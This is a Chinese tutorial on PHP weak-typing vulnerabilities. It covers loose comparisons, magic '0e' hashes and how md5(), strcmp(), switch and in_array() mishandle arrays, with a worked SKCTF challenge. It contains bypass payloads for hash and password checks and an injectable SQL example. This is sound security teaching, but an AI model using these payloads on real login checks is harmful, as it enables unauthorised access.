PHP 弱类型安全主要是由两部分组成:

变量是弱类型,比较时会自动转换
PHP 内置函数对于传入参数的松散处理

比较时的自动转换

PHP 中在使用 == 比较不同类型变量时会存在变量转换。如:

$a = null, $b = false; # true
$a = '', $b = null;    # true

# 数字比较时,会提取字符串中的第一个数字及其相邻数字
intval('abcd') == 0;
intval('8uo89j') == 8;

# 十六进制转换
"0x1e240"=="123456"		# true
"0x1e240"==123456		# true
"0x1e240"=="1e240"		# false

# hash 比较时, 出现0ed+ 字符串转换为科学计数法后相同
"0e132456789" == "0e7124511451155" # true
"0e123456abc" == "0e1dddada"	   # false
"0e1abc" == "0"                    # true

代码中应该避免类似如下情况:

if(intval($a) > 1000) {
    mysql_query("select * from news where id=".$a)
}
# 如果 a = 1001 union select...

 

内置函数的参数的松散性

内置函数的松散性说的是: 调用函数时传递给函数的参数是函数不接受的数据类型。

md5()

md5() 函数的定义是:string md5 (string $str [, bool $raw_output = false ] ) md5() 函数 中的需要是一个string类型的参数。但是当传递一个 array 时,md5() 函数不会报错,但会无法正确地求出 array 的 md5 值,这样就会导致任意2个 array 的 md5 值都会相等。也可以使得求出的md5 值为0ed+ 形式

md5(array('a', 'b', c)) == null         # true
md5(array('a', 'b') == md5(array(1,2,3) # true
md5('240610708') == md5('QNKCDZO')      # true 

strcmp()

strcmp() 函数的定义是 int strcmp ( string $str1 , string $str2 ),如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。但当传入非字符串类型的数据的时,函数将发生错误并返回0。

<?php
    $password = "***************";
    if(isset($_GET['password'])){
        if (strcmp($_POST['password'], $password) == 0) {
            echo "Right!!!login success";
        } else {
            echo "Wrong password..";
        }
    }
?>

# 传入 “password[]=” 即可。

注:仅适用于 5.3 之前 PHP 版本

switch()

如果 switch 是数字类型的 case 的判断时,switch 将会其中的参数转换为 int 类型。如:

$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
    echo "i is less than 3 but not negative";
    break;
case 3:
    echo "i is 3";
}

# 会输出 i is less than 3 but not negative

in_array()

in_array() 的定义是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如果strict参数没有提供,那么in_array就会使用松散比较来判断 $needle 是否在 $haystack 中。当 $strict 的值为 true 时,in_array() 会比较 $needls 的类型和 $haystack 中的类型是否相同。如下:

$array = [0, 1, 2, '3'];
in_array('abc', $array); # true
in_array('1bc', $array); # true

array_search 函数有类似问题。

实战题

# SKCTF
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

 

有两种思路,解决 md5($v1) == md5($v2):

$v1、$v2 md5 操作之后是 0ed+ 形式
$v1、$v2 是数组。
因此 payload:

?v1=s878926199a&v2=s155964671a&v3[]=
?v1[]=1&v2[]=2&v3[]=

免责申明:
1. 本站所有教程、文章分享目的仅供大家学习和交流,资源连接来自于网络,非本站发布,本站也不存储任何资源!
2. 如有无法查看或链接失效,烦请报告联系管理员处理!
3. 本站无法保证资源质量及其时效性,恕不接受任何提问。
4.本站即不保存任何资源,也不对任何链接作品负责,希望大家赞助本站,费用仅维持本站的日常运营所需!
5. 百码云无法保证文章教程或资源的完善与安全,请自行检测解决。
6. 通过本站收集链接的相关资源,严禁杜绝任何形式的正式商业用途,请前往官方购买。
7. 但凡通过本站链接导航下载的任何作品,虽不归本站所有,但在研究学习的前提下,请务必在下载24小时后删除。
百码云资源站仅提供学习的平台,所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,并不承担任何法律责任,如果对您的版权或者利益造成损害,请提供相应的资质证明,我们将于3个工作日内予以删除。本文章采用BY-NC-SA 4.0 《国际知识共享署名许可协议4.0》 进行许可 。
百码云 » PHP弱类型安全

提供互联网优质的链接集合站点

关于权限 站内帮助